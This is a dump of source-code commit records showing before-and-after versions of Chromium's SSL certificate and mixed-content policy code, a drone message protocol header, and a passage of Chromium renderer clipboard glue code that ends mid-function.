SSLPolicy::OnOverridableCertError(SSLCertErrorHandler* handler) {\n if (handler->resource_type() != ResourceType::MAIN_FRAME) {\n \/\/ A sub-resource has a certificate error. The user doesn't really\n \/\/ have a context for making the right decision, so block the\n \/\/ request hard, without an info bar to allow showing the insecure\n \/\/ content.\n handler->DenyRequest();\n return;\n }\n \/\/ We need to ask the user to approve this certificate.\n SSLBlockingPage* blocking_page = new SSLBlockingPage(handler, this);\n blocking_page->Show();\n}\n\nvoid SSLPolicy::OnFatalCertError(SSLCertErrorHandler* handler) {\n if (handler->resource_type() != ResourceType::MAIN_FRAME) {\n handler->DenyRequest();\n return;\n }\n handler->CancelRequest();\n ShowErrorPage(handler);\n \/\/ No need to degrade our security indicators because we didn't continue.\n}\n\nvoid SSLPolicy::ShowErrorPage(SSLCertErrorHandler* handler) {\n SSLErrorInfo error_info = GetSSLErrorInfo(handler);\n\n \/\/ Let's build the html error page.\n DictionaryValue strings;\n strings.SetString(L\"title\", l10n_util::GetString(IDS_SSL_ERROR_PAGE_TITLE));\n strings.SetString(L\"headLine\", error_info.title());\n strings.SetString(L\"description\", error_info.details());\n strings.SetString(L\"moreInfoTitle\",\n l10n_util::GetString(IDS_CERT_ERROR_EXTRA_INFO_TITLE));\n SSLBlockingPage::SetExtraInfo(&strings, error_info.extra_information());\n\n strings.SetString(L\"back\", l10n_util::GetString(IDS_SSL_ERROR_PAGE_BACK));\n\n strings.SetString(L\"textdirection\",\n (l10n_util::GetTextDirection() == l10n_util::RIGHT_TO_LEFT) ?\n L\"rtl\" : L\"ltr\");\n\n static const StringPiece html(\n ResourceBundle::GetSharedInstance().GetRawDataResource(\n IDR_SSL_ERROR_HTML));\n\n std::string html_text(jstemplate_builder::GetTemplateHtml(html, &strings,\n \"template_root\"));\n\n TabContents* tab = handler->GetTabContents();\n int cert_id = CertStore::GetSharedInstance()->StoreCert(\n handler->ssl_info().cert, tab->render_view_host()->process()->pid());\n std::string security_info =\n SSLManager::SerializeSecurityInfo(cert_id,\n handler->ssl_info().cert_status,\n handler->ssl_info().security_bits);\n tab->render_view_host()->LoadAlternateHTMLString(html_text,\n true,\n handler->request_url(),\n security_info);\n tab->controller().GetActiveEntry()->set_page_type(\n NavigationEntry::ERROR_PAGE);\n}\n\nvoid SSLPolicy::AddMixedContentWarningToConsole(\n SSLMixedContentHandler* handler) {\n const std::wstring& text = l10n_util::GetStringF(\n IDS_MIXED_CONTENT_LOG_MESSAGE,\n UTF8ToWide(handler->frame_origin()),\n UTF8ToWide(handler->request_url().spec()));\n backend_->AddMessageToConsole(\n WideToUTF16Hack(text), WebConsoleMessage::LevelWarning);\n}\n\nvoid SSLPolicy::InitializeEntryIfNeeded(NavigationEntry* entry) {\n if (entry->ssl().security_style() != SECURITY_STYLE_UNKNOWN)\n return;\n\n entry->ssl().set_security_style(entry->url().SchemeIsSecure() ?\n SECURITY_STYLE_AUTHENTICATED : SECURITY_STYLE_UNAUTHENTICATED);\n}\n\nvoid SSLPolicy::MarkOriginAsBroken(const std::string& origin, int pid) {\n GURL parsed_origin(origin);\n if (!parsed_origin.SchemeIsSecure())\n return;\n\n backend_->MarkHostAsBroken(parsed_origin.host(), pid);\n}\n\nvoid SSLPolicy::AllowMixedContentForOrigin(const std::string& origin) {\n GURL parsed_origin(origin);\n if (!parsed_origin.SchemeIsSecure())\n return;\n\n backend_->AllowMixedContentForHost(parsed_origin.host());\n}\n\nvoid SSLPolicy::UpdateStateForMixedContent(SSLRequestInfo* info) {\n if (info->resource_type() != ResourceType::MAIN_FRAME ||\n info->resource_type() != ResourceType::SUB_FRAME) {\n \/\/ The frame's origin now contains mixed content and therefore is broken.\n MarkOriginAsBroken(info->frame_origin(), info->pid());\n }\n\n if (info->resource_type() != ResourceType::MAIN_FRAME) {\n \/\/ The main frame now contains a frame with mixed content. Therefore, we\n \/\/ mark the main frame's origin as broken too.\n MarkOriginAsBroken(info->main_frame_origin(), info->pid());\n }\n}\n\nvoid SSLPolicy::UpdateStateForUnsafeContent(SSLRequestInfo* info) {\n \/\/ This request as a broken cert, which means its host is broken.\n backend_->MarkHostAsBroken(info->url().host(), info->pid());\n UpdateStateForMixedContent(info);\n}\n<commit_msg>Fix crash when updating a navigation entry without a site_instance.<commit_after>\/\/ Copyright (c) 2006-2008 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/ssl\/ssl_policy.h\"\n\n#include \"app\/l10n_util.h\"\n#include \"app\/resource_bundle.h\"\n#include \"base\/base_switches.h\"\n#include \"base\/command_line.h\"\n#include \"base\/singleton.h\"\n#include \"base\/string_piece.h\"\n#include \"base\/string_util.h\"\n#include \"chrome\/browser\/cert_store.h\"\n#include \"chrome\/browser\/renderer_host\/render_view_host.h\"\n#include \"chrome\/browser\/ssl\/ssl_cert_error_handler.h\"\n#include \"chrome\/browser\/ssl\/ssl_error_info.h\"\n#include \"chrome\/browser\/ssl\/ssl_mixed_content_handler.h\"\n#include \"chrome\/browser\/ssl\/ssl_request_info.h\"\n#include \"chrome\/browser\/tab_contents\/navigation_entry.h\"\n#include \"chrome\/browser\/tab_contents\/tab_contents.h\"\n#include \"chrome\/common\/jstemplate_builder.h\"\n#include \"chrome\/common\/notification_service.h\"\n#include \"chrome\/common\/pref_names.h\"\n#include \"chrome\/common\/pref_service.h\"\n#include \"chrome\/common\/chrome_switches.h\"\n#include \"chrome\/common\/time_format.h\"\n#include \"chrome\/common\/url_constants.h\"\n#include \"grit\/browser_resources.h\"\n#include \"grit\/generated_resources.h\"\n#include \"net\/base\/cert_status_flags.h\"\n#include \"net\/base\/ssl_info.h\"\n#include \"webkit\/glue\/resource_type.h\"\n\nusing WebKit::WebConsoleMessage;\n\nclass SSLPolicy::ShowMixedContentTask : public Task {\n public:\n ShowMixedContentTask(SSLPolicy* policy, SSLMixedContentHandler* handler);\n virtual ~ShowMixedContentTask();\n\n virtual void Run();\n\n private:\n SSLPolicy* policy_;\n scoped_refptr<SSLMixedContentHandler> handler_;\n\n DISALLOW_COPY_AND_ASSIGN(ShowMixedContentTask);\n};\n\nSSLPolicy::ShowMixedContentTask::ShowMixedContentTask(SSLPolicy* policy,\n SSLMixedContentHandler* handler)\n : policy_(policy),\n handler_(handler) {\n}\n\nSSLPolicy::ShowMixedContentTask::~ShowMixedContentTask() {\n}\n\nvoid SSLPolicy::ShowMixedContentTask::Run() {\n policy_->AllowMixedContentForOrigin(handler_->frame_origin());\n policy_->AllowMixedContentForOrigin(handler_->main_frame_origin());\n policy_->backend()->Reload();\n}\n\nSSLPolicy::SSLPolicy(SSLPolicyBackend* backend)\n : backend_(backend) {\n DCHECK(backend_);\n}\n\nvoid SSLPolicy::OnCertError(SSLCertErrorHandler* handler) {\n \/\/ First we check if we know the policy for this error.\n net::X509Certificate::Policy::Judgment judgment =\n backend_->QueryPolicy(handler->ssl_info().cert,\n handler->request_url().host());\n\n if (judgment == net::X509Certificate::Policy::ALLOWED) {\n handler->ContinueRequest();\n return;\n }\n\n \/\/ The judgment is either DENIED or UNKNOWN.\n \/\/ For now we handle the DENIED as the UNKNOWN, which means a blocking\n \/\/ page is shown to the user every time he comes back to the page.\n\n switch(handler->cert_error()) {\n case net::ERR_CERT_COMMON_NAME_INVALID:\n case net::ERR_CERT_DATE_INVALID:\n case net::ERR_CERT_AUTHORITY_INVALID:\n OnOverridableCertError(handler);\n break;\n case net::ERR_CERT_NO_REVOCATION_MECHANISM:\n \/\/ Ignore this error.\n handler->ContinueRequest();\n break;\n case net::ERR_CERT_UNABLE_TO_CHECK_REVOCATION:\n \/\/ We ignore this error and display an infobar.\n handler->ContinueRequest();\n backend_->ShowMessage(l10n_util::GetString(\n IDS_CERT_ERROR_UNABLE_TO_CHECK_REVOCATION_INFO_BAR));\n break;\n case net::ERR_CERT_CONTAINS_ERRORS:\n case net::ERR_CERT_REVOKED:\n case net::ERR_CERT_INVALID:\n OnFatalCertError(handler);\n break;\n default:\n NOTREACHED();\n handler->CancelRequest();\n break;\n }\n}\n\nvoid SSLPolicy::OnMixedContent(SSLMixedContentHandler* handler) {\n \/\/ Get the user's mixed content preference.\n PrefService* prefs = handler->GetTabContents()->profile()->GetPrefs();\n FilterPolicy::Type filter_policy =\n FilterPolicy::FromInt(prefs->GetInteger(prefs::kMixedContentFiltering));\n\n \/\/ If the user has added an exception, doctor the |filter_policy|.\n std::string host = GURL(handler->main_frame_origin()).host();\n if (CommandLine::ForCurrentProcess()->HasSwitch(switches::kForceHTTPS) &&\n backend_->IsForceTLSEnabledForHost(host)) {\n \/\/ We're supposed to block all mixed content for this host.\n filter_policy = FilterPolicy::FILTER_ALL;\n } else if (backend_->DidAllowMixedContentForHost(host) ||\n backend_->DidMarkHostAsBroken(host, handler->pid())) {\n \/\/ Let the mixed content through.\n filter_policy = FilterPolicy::DONT_FILTER;\n } else if (filter_policy != FilterPolicy::DONT_FILTER) {\n backend_->ShowMessageWithLink(\n l10n_util::GetString(IDS_SSL_INFO_BAR_FILTERED_CONTENT),\n l10n_util::GetString(IDS_SSL_INFO_BAR_SHOW_CONTENT),\n new ShowMixedContentTask(this, handler));\n }\n\n handler->StartRequest(filter_policy);\n AddMixedContentWarningToConsole(handler);\n}\n\nvoid SSLPolicy::OnRequestStarted(SSLRequestInfo* info) {\n if (net::IsCertStatusError(info->ssl_cert_status()))\n UpdateStateForUnsafeContent(info);\n\n if (IsMixedContent(info->url(),\n info->resource_type(),\n info->filter_policy(),\n info->frame_origin()))\n UpdateStateForMixedContent(info);\n}\n\nvoid SSLPolicy::UpdateEntry(NavigationEntry* entry) {\n DCHECK(entry);\n\n InitializeEntryIfNeeded(entry);\n\n if (!entry->url().SchemeIsSecure())\n return;\n\n \/\/ An HTTPS response may not have a certificate for some reason. When that\n \/\/ happens, use the unauthenticated (HTTP) rather than the authentication\n \/\/ broken security style so that we can detect this error condition.\n if (!entry->ssl().cert_id()) {\n entry->ssl().set_security_style(SECURITY_STYLE_UNAUTHENTICATED);\n return;\n }\n\n if (net::IsCertStatusError(entry->ssl().cert_status())) {\n entry->ssl().set_security_style(SECURITY_STYLE_AUTHENTICATION_BROKEN);\n return;\n }\n\n SiteInstance* site_instance = entry->site_instance();\n \/\/ Note that |site_instance| can be NULL here because NavigationEntries don't\n \/\/ necessarily have site instances. Without a process, the entry can't\n \/\/ possibly have mixed content. See bug http:\/\/crbug.com\/12423.\n if (site_instance &&\n backend_->DidMarkHostAsBroken(entry->url().host(),\n site_instance->GetProcess()->pid()))\n entry->ssl().set_has_mixed_content();\n}\n\n\/\/ static\nbool SSLPolicy::IsMixedContent(const GURL& url,\n ResourceType::Type resource_type,\n FilterPolicy::Type filter_policy,\n const std::string& frame_origin) {\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ WARNING: This function is called from both the IO and UI threads. Do \/\/\n \/\/ not touch any non-thread-safe objects! You have been warned. \/\/\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n \/\/ We can't possibly have mixed content when loading the main frame.\n if (resource_type == ResourceType::MAIN_FRAME)\n return false;\n\n \/\/ If we've filtered the resource, then it's no longer dangerous.\n if (filter_policy != FilterPolicy::DONT_FILTER)\n return false;\n\n \/\/ If the frame doing the loading is already insecure, then we must have\n \/\/ already dealt with whatever mixed content might be going on.\n if (!GURL(frame_origin).SchemeIsSecure())\n return false;\n\n \/\/ We aren't worried about mixed content if we're loading an HTTPS URL.\n if (url.SchemeIsSecure())\n return false;\n\n return true;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ SSLBlockingPage::Delegate methods\n\nSSLErrorInfo SSLPolicy::GetSSLErrorInfo(SSLCertErrorHandler* handler) {\n return SSLErrorInfo::CreateError(\n SSLErrorInfo::NetErrorToErrorType(handler->cert_error()),\n handler->ssl_info().cert, handler->request_url());\n}\n\nvoid SSLPolicy::OnDenyCertificate(SSLCertErrorHandler* handler) {\n \/\/ Default behavior for rejecting a certificate.\n \/\/\n \/\/ While DenyCertForHost() executes synchronously on this thread,\n \/\/ CancelRequest() gets posted to a different thread. Calling\n \/\/ DenyCertForHost() first ensures deterministic ordering.\n backend_->DenyCertForHost(handler->ssl_info().cert,\n handler->request_url().host());\n handler->CancelRequest();\n}\n\nvoid SSLPolicy::OnAllowCertificate(SSLCertErrorHandler* handler) {\n \/\/ Default behavior for accepting a certificate.\n \/\/ Note that we should not call SetMaxSecurityStyle here, because the active\n \/\/ NavigationEntry has just been deleted (in HideInterstitialPage) and the\n \/\/ new NavigationEntry will not be set until DidNavigate. This is ok,\n \/\/ because the new NavigationEntry will have its max security style set\n \/\/ within DidNavigate.\n \/\/\n \/\/ While AllowCertForHost() executes synchronously on this thread,\n \/\/ ContinueRequest() gets posted to a different thread. Calling\n \/\/ AllowCertForHost() first ensures deterministic ordering.\n backend_->AllowCertForHost(handler->ssl_info().cert,\n handler->request_url().host());\n handler->ContinueRequest();\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Certificate Error Routines\n\nvoid SSLPolicy::OnOverridableCertError(SSLCertErrorHandler* handler) {\n if (handler->resource_type() != ResourceType::MAIN_FRAME) {\n \/\/ A sub-resource has a certificate error. The user doesn't really\n \/\/ have a context for making the right decision, so block the\n \/\/ request hard, without an info bar to allow showing the insecure\n \/\/ content.\n handler->DenyRequest();\n return;\n }\n \/\/ We need to ask the user to approve this certificate.\n SSLBlockingPage* blocking_page = new SSLBlockingPage(handler, this);\n blocking_page->Show();\n}\n\nvoid SSLPolicy::OnFatalCertError(SSLCertErrorHandler* handler) {\n if (handler->resource_type() != ResourceType::MAIN_FRAME) {\n handler->DenyRequest();\n return;\n }\n handler->CancelRequest();\n ShowErrorPage(handler);\n \/\/ No need to degrade our security indicators because we didn't continue.\n}\n\nvoid SSLPolicy::ShowErrorPage(SSLCertErrorHandler* handler) {\n SSLErrorInfo error_info = GetSSLErrorInfo(handler);\n\n \/\/ Let's build the html error page.\n DictionaryValue strings;\n strings.SetString(L\"title\", l10n_util::GetString(IDS_SSL_ERROR_PAGE_TITLE));\n strings.SetString(L\"headLine\", error_info.title());\n strings.SetString(L\"description\", error_info.details());\n strings.SetString(L\"moreInfoTitle\",\n l10n_util::GetString(IDS_CERT_ERROR_EXTRA_INFO_TITLE));\n SSLBlockingPage::SetExtraInfo(&strings, error_info.extra_information());\n\n strings.SetString(L\"back\", l10n_util::GetString(IDS_SSL_ERROR_PAGE_BACK));\n\n strings.SetString(L\"textdirection\",\n (l10n_util::GetTextDirection() == l10n_util::RIGHT_TO_LEFT) ?\n L\"rtl\" : L\"ltr\");\n\n static const StringPiece html(\n ResourceBundle::GetSharedInstance().GetRawDataResource(\n IDR_SSL_ERROR_HTML));\n\n std::string html_text(jstemplate_builder::GetTemplateHtml(html, &strings,\n \"template_root\"));\n\n TabContents* tab = handler->GetTabContents();\n int cert_id = CertStore::GetSharedInstance()->StoreCert(\n handler->ssl_info().cert, tab->render_view_host()->process()->pid());\n std::string security_info =\n SSLManager::SerializeSecurityInfo(cert_id,\n handler->ssl_info().cert_status,\n handler->ssl_info().security_bits);\n tab->render_view_host()->LoadAlternateHTMLString(html_text,\n true,\n handler->request_url(),\n security_info);\n tab->controller().GetActiveEntry()->set_page_type(\n NavigationEntry::ERROR_PAGE);\n}\n\nvoid SSLPolicy::AddMixedContentWarningToConsole(\n SSLMixedContentHandler* handler) {\n const std::wstring& text = l10n_util::GetStringF(\n IDS_MIXED_CONTENT_LOG_MESSAGE,\n UTF8ToWide(handler->frame_origin()),\n UTF8ToWide(handler->request_url().spec()));\n backend_->AddMessageToConsole(\n WideToUTF16Hack(text), WebConsoleMessage::LevelWarning);\n}\n\nvoid SSLPolicy::InitializeEntryIfNeeded(NavigationEntry* entry) {\n if (entry->ssl().security_style() != SECURITY_STYLE_UNKNOWN)\n return;\n\n entry->ssl().set_security_style(entry->url().SchemeIsSecure() ?\n SECURITY_STYLE_AUTHENTICATED : SECURITY_STYLE_UNAUTHENTICATED);\n}\n\nvoid SSLPolicy::MarkOriginAsBroken(const std::string& origin, int pid) {\n GURL parsed_origin(origin);\n if (!parsed_origin.SchemeIsSecure())\n return;\n\n backend_->MarkHostAsBroken(parsed_origin.host(), pid);\n}\n\nvoid SSLPolicy::AllowMixedContentForOrigin(const std::string& origin) {\n GURL parsed_origin(origin);\n if (!parsed_origin.SchemeIsSecure())\n return;\n\n backend_->AllowMixedContentForHost(parsed_origin.host());\n}\n\nvoid SSLPolicy::UpdateStateForMixedContent(SSLRequestInfo* info) {\n if (info->resource_type() != ResourceType::MAIN_FRAME ||\n info->resource_type() != ResourceType::SUB_FRAME) {\n \/\/ The frame's origin now contains mixed content and therefore is broken.\n MarkOriginAsBroken(info->frame_origin(), info->pid());\n }\n\n if (info->resource_type() != ResourceType::MAIN_FRAME) {\n \/\/ The main frame now contains a frame with mixed content. Therefore, we\n \/\/ mark the main frame's origin as broken too.\n MarkOriginAsBroken(info->main_frame_origin(), info->pid());\n }\n}\n\nvoid SSLPolicy::UpdateStateForUnsafeContent(SSLRequestInfo* info) {\n \/\/ This request as a broken cert, which means its host is broken.\n backend_->MarkHostAsBroken(info->url().host(), info->pid());\n UpdateStateForMixedContent(info);\n}\n<|endoftext|>"} {"text":"<commit_before>#ifndef PROTOCOL_MESSAGES_HPP_\n#define PROTOCOL_MESSAGES_HPP_\n\n#include <cstdint>\n\nnamespace protocol {\nnamespace message {\n\nstruct heartbeat_message_t {\n enum { ID = 0x00 };\n\n std::uint8_t seq;\n} __attribute__((packed));\n\nstruct log_message_t {\n enum { ID = 0x01 };\n\n char data[100];\n} __attribute__((packed));\n\nstruct attitude_message_t {\n enum { ID = 0x02 };\n\n float dcm[9];\n} __attribute__((packed));\n\nstruct set_arm_state_message_t {\n enum { ID = 0x03 };\n\n bool armed;\n} __attribute__((packed));\n\nstruct set_control_mode_message_t {\n enum { ID = 0x04 };\n\n enum class ControlMode {\n MANUAL,\n OFFBOARD\n };\n\n ControlMode mode;\n} __attribute__((packed));\n\nstruct offboard_attitude_control_message_t {\n enum { ID = 0x05 };\n\n float roll;\n float pitch;\n float yaw;\n float throttle;\n uint16_t buttons; \/\/ Bitfield of buttons\n uint8_t mode;\n} __attribute__((packed));\n\nstruct motor_throttle_message_t {\n enum { ID = 0x06 };\n\n float throttles[4];\n} __attribute__((packed));\n\nstruct sensor_calibration_request_message_t {\n enum { ID = 0x07 };\n} __attribute__((packed));\n\nstruct sensor_calibration_response_message_t {\n enum { ID = 0x08 };\n\n enum class SensorType {\n ACCEL,\n GYRO,\n MAG\n };\n\n SensorType type;\n float offsets[3];\n} __attribute__((packed));\n\nstruct location_message_t {\n enum { ID = 0x09 };\n\n float lat;\n float lon;\n float alt;\n} __attribute__((packed));\n\ninline std::uint16_t length(int id) {\n \/\/ TODO(kyle): sizeof(empty struct) is 1 in C++...\n switch(id) {\n case heartbeat_message_t::ID:\n return sizeof(heartbeat_message_t);\n case log_message_t::ID:\n return sizeof(log_message_t);\n case attitude_message_t::ID:\n return sizeof(attitude_message_t);\n case set_arm_state_message_t::ID:\n return sizeof(set_arm_state_message_t);\n case set_control_mode_message_t::ID:\n return sizeof(set_control_mode_message_t);\n case offboard_attitude_control_message_t::ID:\n return sizeof(offboard_attitude_control_message_t);\n case motor_throttle_message_t::ID:\n return sizeof(motor_throttle_message_t);\n case sensor_calibration_request_message_t::ID:\n return sizeof(sensor_calibration_request_message_t);\n case sensor_calibration_response_message_t::ID:\n return sizeof(sensor_calibration_response_message_t);\n case location_message_t::ID:\n return sizeof(location_message_t);\n }\n\n return 0; \/\/ TODO(kyle): Return something more meaningful?\n}\n\n}\n}\n\n#endif \/\/ MESSAGES_HPP_\n\n<commit_msg>Add message types.<commit_after>#ifndef PROTOCOL_MESSAGES_HPP_\n#define PROTOCOL_MESSAGES_HPP_\n\n#include <cstdint>\n\nnamespace protocol {\nnamespace message {\n\nstruct heartbeat_message_t {\n enum { ID = 0x00 };\n\n std::uint8_t seq;\n} __attribute__((packed));\n\nstruct log_message_t {\n enum { ID = 0x01 };\n\n char data[100];\n} __attribute__((packed));\n\nstruct attitude_message_t {\n enum { ID = 0x02 };\n\n float dcm[9];\n} __attribute__((packed));\n\nstruct set_arm_state_message_t {\n enum { ID = 0x03 };\n\n bool armed;\n} __attribute__((packed));\n\nstruct set_control_mode_message_t {\n enum { ID = 0x04 };\n\n enum class ControlMode {\n MANUAL,\n OFFBOARD\n };\n\n ControlMode mode;\n} __attribute__((packed));\n\nstruct offboard_attitude_control_message_t {\n enum { ID = 0x05 };\n\n float roll;\n float pitch;\n float yaw;\n float throttle;\n uint16_t buttons; \/\/ Bitfield of buttons\n uint8_t mode;\n} __attribute__((packed));\n\nstruct motor_throttle_message_t {\n enum { ID = 0x06 };\n\n float throttles[4];\n} __attribute__((packed));\n\nstruct sensor_calibration_request_message_t {\n enum { ID = 0x07 };\n} __attribute__((packed));\n\nstruct sensor_calibration_response_message_t {\n enum { ID = 0x08 };\n\n enum class SensorType {\n ACCEL,\n GYRO,\n MAG\n };\n\n SensorType type;\n float offsets[3];\n} __attribute__((packed));\n\nstruct location_message_t {\n enum { ID = 0x09 };\n\n float lat;\n float lon;\n float alt;\n} __attribute__((packed));\n\nstruct imu_message_t {\n enum { ID = 0x0a };\n\n float gyro[3];\n float accel[3];\n} __attribute__((packed));\n\nstruct system_message_t {\n enum { ID = 0x0b };\n\n uint8_t state;\n float motorDC; \/\/ TODO(yoos): Hack for esra test launch\n} __attribute__((packed));\n\ninline std::uint16_t length(int id) {\n \/\/ TODO(kyle): sizeof(empty struct) is 1 in C++...\n switch(id) {\n case heartbeat_message_t::ID:\n return sizeof(heartbeat_message_t);\n case log_message_t::ID:\n return sizeof(log_message_t);\n case attitude_message_t::ID:\n return sizeof(attitude_message_t);\n case set_arm_state_message_t::ID:\n return sizeof(set_arm_state_message_t);\n case set_control_mode_message_t::ID:\n return sizeof(set_control_mode_message_t);\n case offboard_attitude_control_message_t::ID:\n return sizeof(offboard_attitude_control_message_t);\n case motor_throttle_message_t::ID:\n return sizeof(motor_throttle_message_t);\n case sensor_calibration_request_message_t::ID:\n return sizeof(sensor_calibration_request_message_t);\n case sensor_calibration_response_message_t::ID:\n return sizeof(sensor_calibration_response_message_t);\n case location_message_t::ID:\n return sizeof(location_message_t);\n case imu_message_t::ID:\n return sizeof(imu_message_t);\n case system_message_t::ID:\n return sizeof(system_message_t);\n }\n\n return 0; \/\/ TODO(kyle): Return something more meaningful?\n}\n\n}\n}\n\n#endif \/\/ MESSAGES_HPP_\n\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n\/\/ This file provides the embedder's side of random webkit glue functions.\n\n#include \"build\/build_config.h\"\n\n#if defined(OS_WIN)\n#include <windows.h>\n#endif\n\n#include <vector>\n\n#include \"base\/command_line.h\"\n#include \"base\/memory\/ref_counted.h\"\n#include \"base\/string_util.h\"\n#include \"base\/utf_string_conversions.h\"\n#include \"chrome\/common\/chrome_switches.h\"\n#include \"chrome\/common\/chrome_version_info.h\"\n#include \"chrome\/common\/render_messages.h\"\n#include \"chrome\/common\/url_constants.h\"\n#include \"content\/common\/clipboard_messages.h\"\n#include \"content\/common\/socket_stream_dispatcher.h\"\n#include \"content\/common\/view_messages.h\"\n#include \"content\/plugin\/npobject_util.h\"\n#include \"content\/renderer\/render_thread.h\"\n#include \"googleurl\/src\/url_util.h\"\n#include \"third_party\/WebKit\/Source\/WebKit\/chromium\/public\/WebKit.h\"\n#include \"third_party\/WebKit\/Source\/WebKit\/chromium\/public\/WebKitClient.h\"\n#include \"third_party\/WebKit\/Source\/WebKit\/chromium\/public\/WebString.h\"\n#include \"third_party\/skia\/include\/core\/SkBitmap.h\"\n#include \"ui\/base\/clipboard\/clipboard.h\"\n#include \"ui\/base\/resource\/resource_bundle.h\"\n#include \"webkit\/glue\/scoped_clipboard_writer_glue.h\"\n#include \"webkit\/glue\/webkit_glue.h\"\n#include \"webkit\/glue\/websocketstreamhandle_bridge.h\"\n\n#if !defined(DISABLE_NACL)\n#include \"native_client\/src\/shared\/imc\/nacl_imc.h\"\n#include \"native_client\/src\/trusted\/plugin\/nacl_entry_points.h\"\n#endif\n\n#if defined(OS_LINUX)\n#include \"content\/renderer\/renderer_sandbox_support_linux.h\"\n#endif\n\n\/\/ This definition of WriteBitmapFromPixels uses shared memory to communicate\n\/\/ across processes.\nvoid ScopedClipboardWriterGlue::WriteBitmapFromPixels(const void* pixels,\n const gfx::Size& size) {\n \/\/ Do not try to write a bitmap more than once\n if (shared_buf_)\n return;\n\n uint32 buf_size = 4 * size.width() * size.height();\n\n \/\/ Allocate a shared memory buffer to hold the bitmap bits.\n#if defined(OS_POSIX)\n \/\/ On POSIX, we need to ask the browser to create the shared memory for us,\n \/\/ since this is blocked by the sandbox.\n base::SharedMemoryHandle shared_mem_handle;\n ViewHostMsg_AllocateSharedMemoryBuffer *msg =\n new ViewHostMsg_AllocateSharedMemoryBuffer(buf_size,\n &shared_mem_handle);\n if (RenderThread::current()->Send(msg)) {\n if (base::SharedMemory::IsHandleValid(shared_mem_handle)) {\n shared_buf_ = new base::SharedMemory(shared_mem_handle, false);\n if (!shared_buf_ || !shared_buf_->Map(buf_size)) {\n NOTREACHED() << \"Map failed\";\n return;\n }\n } else {\n NOTREACHED() << \"Browser failed to allocate shared memory\";\n return;\n }\n } else {\n NOTREACHED() << \"Browser allocation request message failed\";\n return;\n }\n#else \/\/ !OS_POSIX\n shared_buf_ = new base::SharedMemory;\n if (!shared_buf_->CreateAndMapAnonymous(buf_size)) {\n NOTREACHED();\n return;\n }\n#endif\n\n \/\/ Copy the bits into shared memory\n memcpy(shared_buf_->memory(), pixels, buf_size);\n shared_buf_->Unmap();\n\n ui::Clipboard::ObjectMapParam size_param;\n const char* size_data = reinterpret_cast<const char*>(&size);\n for (size_t i = 0; i < sizeof(gfx::Size); ++i)\n size_param.push_back(size_data[i]);\n\n ui::Clipboard::ObjectMapParams params;\n\n \/\/ The first parameter is replaced on the receiving end with a pointer to\n \/\/ a shared memory object containing the bitmap. We reserve space for it here.\n ui::Clipboard::ObjectMapParam place_holder_param;\n params.push_back(place_holder_param);\n params.push_back(size_param);\n objects_[ui::Clipboard::CBF_SMBITMAP] = params;\n}\n\n\/\/ Define a destructor that makes IPCs to flush the contents to the\n\/\/ system clipboard.\nScopedClipboardWriterGlue::~ScopedClipboardWriterGlue() {\n if (objects_.empty())\n return;\n\n if (shared_buf_) {\n RenderThread::current()->Send(\n new ClipboardHostMsg_WriteObjectsSync(objects_,\n shared_buf_->handle()));\n delete shared_buf_;\n return;\n }\n\n RenderThread::current()->Send(\n new ClipboardHostMsg_WriteObjectsAsync(objects_));\n}\n\nnamespace webkit_glue {\n\nvoid AppendToLog(const char* file, int line, const char* msg) {\n logging::LogMessage(file, line).stream() << msg;\n}\n\nbase::StringPiece GetDataResource(int resource_id) {\n return ResourceBundle::GetSharedInstance().GetRawDataResource(resource_id);\n}\n\n#if defined(OS_WIN)\nHCURSOR LoadCursor(int cursor_id) {\n return ResourceBundle::GetSharedInstance().LoadCursor(cursor_id);\n}\n#endif\n\n\/\/ Clipboard glue\n\nui::Clipboard* ClipboardGetClipboard() {\n return NULL;\n}\n\nbool ClipboardIsFormatAvailable(const ui::Clipboard::FormatType& format,\n ui::Clipboard::Buffer buffer) {\n bool result;\n RenderThread::current()->Send(\n new ClipboardHostMsg_IsFormatAvailable(format, buffer, &result));\n return result;\n}\n\nvoid ClipboardReadAvailableTypes(ui::Clipboard::Buffer buffer,\n std::vector<string16>* types,\n bool* contains_filenames) {\n RenderThread::current()->Send(new ClipboardHostMsg_ReadAvailableTypes(\n buffer, types, contains_filenames));\n}\n\nvoid ClipboardReadText(ui::Clipboard::Buffer buffer, string16* result) {\n RenderThread::current()->Send(new ClipboardHostMsg_ReadText(buffer, result));\n}\n\nvoid ClipboardReadAsciiText(ui::Clipboard::Buffer buffer, std::string* result) {\n RenderThread::current()->Send(\n new ClipboardHostMsg_ReadAsciiText(buffer, result));\n}\n\nvoid ClipboardReadHTML(ui::Clipboard::Buffer buffer, string16* markup,\n GURL* url) {\n RenderThread::current()->Send(\n new ClipboardHostMsg_ReadHTML(buffer, markup, url));\n}\n\nvoid ClipboardReadImage(ui::Clipboard::Buffer buffer, std::string* data) {\n RenderThread::current()->Send(new ClipboardHostMsg_ReadImage(buffer, data));\n}\n\nbool ClipboardReadData(ui::Clipboard::Buffer buffer, const string16& type,\n string16* data, string16* metadata) {\n 